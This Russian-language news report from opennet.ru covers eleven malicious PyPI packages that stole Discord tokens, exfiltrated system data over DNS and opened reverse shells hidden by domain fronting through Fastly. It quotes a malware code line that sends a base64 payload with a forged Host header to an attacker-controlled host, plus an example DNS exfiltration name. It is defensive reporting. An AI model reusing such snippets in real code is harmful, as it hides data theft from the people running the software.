Π’ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ PyPI выявлСны врСдоносныС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ CDN PyPI для скрытия ΠΊΠ°Π½Π°Π»Π° связи

Π’ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ PyPI (Python Package Index) выявлСно 11 ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΡ… врСдоносный ΠΊΠΎΠ΄. Π”ΠΎ выявлСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π² суммС ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ успСли Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ΠΎΠΊΠΎΠ»ΠΎ 38 тысяч Ρ€Π°Π·. ВыявлСнныС врСдоносныС ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ΠΌ замысловатых способов скрытия ΠΊΠ°Π½Π°Π»ΠΎΠ² связи с сСрвСрами Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ².

  • importantpackage (6305 Π·Π°Π³Ρ€ΡƒΠ·ΠΎΠΊ), important-package (12897) — устанавливали соСдинСниС с внСшним сСрвСром ΠΏΠΎΠ΄ Π²ΠΈΠ΄ΠΎΠΌ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ pypi.python.org для прСдоставлСния shell-доступа ΠΊ систСмС (reverse shell) ΠΈ использовали для скрытия ΠΊΠ°Π½Π°Π»Π° связи ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ trevorc2.
  • pptest (10001), ipboards (946) — использовали DNS Π² качСствС ΠΊΠ°Π½Π°Π»Π° связи для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ свСдСний ΠΎ систСмС (Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΠ°ΠΊΠ΅Ρ‚Π΅ имя хоста, Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ ΠΈ внСшний IP, Π² Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ — имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ хоста).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) — выявляли Π² систСмС Ρ‚ΠΎΠΊΠ΅Π½ сСрвиса Discord ΠΈ отправляли Π½Π° внСшний хост.
  • trrfab (287) — отправлял Π½Π° внСшний хост ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€, имя хоста ΠΈ содСрТимоС /etc/passwd, /etc/hosts, /home.
  • 10Cent10 (490) — устанавливал ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ΅ shell-соСдинСниС с внСшним хостом.
  • yandex-yt (4183) — Π²Ρ‹Π²ΠΎΠ΄ΠΈΠ» сообщСниС ΠΎ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΠΈ систСмы ΠΈ пСрСнаправлял Π½Π° страницу с Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎ Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… дСйствиях, Π²Ρ‹Π΄Π°Π²Π°Π΅ΠΌΠΎΠΉ Ρ‡Π΅Ρ€Π΅Π· nda.ya.ru (api.ya.cc).

ΠžΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ внимания заслуТиваСт ΠΌΠ΅Ρ‚ΠΎΠ΄ обращСния ΠΊ внСшним хостам, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² ΠΏΠ°ΠΊΠ΅Ρ‚Π°Ρ… importantpackage ΠΈ important-package, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ использовали для скрытия своСй активности ΡΠ΅Ρ‚ΡŒ доставки ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Fastly, ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΠ΅ΠΌΡƒΡŽ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ PyPI. ЀактичСски запросы ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΠ»ΠΈΡΡŒ Π½Π° сСрвСр pypi.python.org (Π² Ρ‚ΠΎΠΌ числС, указывая имя python.org Π² SNI Π²Π½ΡƒΡ‚Ρ€ΠΈ запроса HTTPS), Π½ΠΎ ΠΏΡ€ΠΈ этом Π² HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ «Host» Π²Ρ‹ΡΡ‚Π°Π²Π»ΡΠ»ΠΎΡΡŒ имя сСрвСра, ΠΏΠΎΠ΄ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠ³ΠΎ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΌ (sec.forward.io.global.prod.fastly.net). Π‘Π΅Ρ‚ΡŒ доставки ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° направляла ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ запрос Π½Π° сСрвСр Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΡ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ TLS-соСдинСния с pypi.python.org.

Π Π°Π±ΠΎΡ‚Π° инфраструктуры PyPI обСспСчиваСтся с ΠΏΡ€ΠΈΠ²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ΠΌ сСти доставки ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Fastly, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ для ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ Ρ‚ΠΈΠΏΠΎΠ²Ρ‹Ρ… запросов ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ прокси Varnish, Π° Ρ‚Π°ΠΊΠΆΠ΅ примСняСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° TLS-сСртификатов Π½Π° ΡƒΡ€ΠΎΠ²Π½Π΅ CDN, Π° Π½Π΅ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Ρ… сСрвСров, для ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ проброса HTTPS-запросов Ρ‡Π΅Ρ€Π΅Π· прокси. НСзависимо ΠΎΡ‚ Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ хоста запросы Π½Π°ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² прокси, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт Π½ΡƒΠΆΠ½Ρ‹ΠΉ хост ΠΏΠΎ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ «Host», Π° Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° хостов ΠΏΡ€ΠΈΠ²ΡΠ·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊ Ρ‚ΠΈΠΏΠΎΠ²Ρ‹ΠΌ для всСх ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² Fastly IP-адрСсам балансировщиков Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ CDN.

Π‘Π΅Ρ€Π²Π΅Ρ€ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΡ… Ρ‚Π°ΠΊΠΆΠ΅ рСгистрируСтся Π² CDN Fastly, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт всСм ΠΆΠ΅Π»Π°ΡŽΡ‰ΠΈΠΌ бСсплатныС Ρ‚Π°Ρ€ΠΈΡ„Π½Ρ‹Π΅ ΠΏΠ»Π°Π½Ρ‹ ΠΈ Π΄Π°ΠΆΠ΅ допускаСт Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ. ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‡Ρ‚ΠΎ для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ запросов ΠΆΠ΅Ρ€Ρ‚Π²Π΅ ΠΏΡ€ΠΈ создании «reverse shell» ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚Π°ΠΊΠΆΠ΅ схСма, Π½ΠΎ инициируСмая со стороны хоста Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ². Π‘ΠΎ стороны взаимодСйствиС с сСрвСром Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΡ… выглядит ΠΊΠ°ΠΊ Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½Ρ‹ΠΉ сСанс с ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ΠΎΠΌ PyPI, ΡˆΠΈΡ„Ρ€ΡƒΠ΅ΠΌΡ‹ΠΉ с использованиСм TLS-сСртификата PyPI. Подобная Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ°, извСстная ΠΏΠΎΠ΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ «domain fronting», Ρ€Π°Π½Π΅Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ использовалась для скрытия ΠΈΠΌΠ΅Π½ΠΈ хоста ΠΏΡ€ΠΈ ΠΎΠ±Ρ…ΠΎΠ΄Π΅ Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΎΠΊ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅ΠΌΡƒΡŽ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… CDN-сСтях Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ обращСния ΠΏΠΎ HTTPS с ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ΠΌ Π² SNI Ρ„ΠΈΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ хоста ΠΈ фактичСской ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ΠΉ ΠΈΠΌΠ΅Π½ΠΈ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ хоста Π² HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ Host Π²Π½ΡƒΡ‚Ρ€ΠΈ TLS-сСанса.

Π’ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ PyPI выявлСны врСдоносныС Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ CDN PyPI для скрытия ΠΊΠ°Π½Π°Π»Π° связи

Для скрытия врСдоносной активности Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ примСнялся ΠΏΠ°ΠΊΠ΅Ρ‚ TrevorC2, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ взаимодСйствиС с сСрвСром ΠΏΠΎΡ…ΠΎΠΆΠΈΠΌ Π½Π° ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ web-Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, врСдоносныС запросы ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΠ»ΠΈΡΡŒ ΠΏΠΎΠ΄ Π²ΠΈΠ΄ΠΎΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния «https://pypi.python.org/images/guid=» с ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ guid. url = «https://pypi.python.org» + «/images» + «?» + «guid=» + b64_payload r = request.Request(url, headers = {‘Host’: «psec.forward.io.global.prod.fastly.net»})

Π’ ΠΏΠ°ΠΊΠ΅Ρ‚Π°Ρ… pptest ΠΈ ipboards примСнялся Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ для скрытия сСтСвой активности, основанный Π½Π° ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² запросах ΠΊ DNS-сСрвСру. ВрСдоносноС ПО ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, выполняя DNS-запросы Π²ΠΈΠ΄Π° «nu4timjagq4fimbuhe.example.com», Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° base64 Π² ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π° Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ Π½Π° ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ сСрвСр Π΄Π°Π½Π½Ρ‹Π΅. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ сообщСния, контролируя DNS-сСрвСр для Π΄ΠΎΠΌΠ΅Π½Π° example.com.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ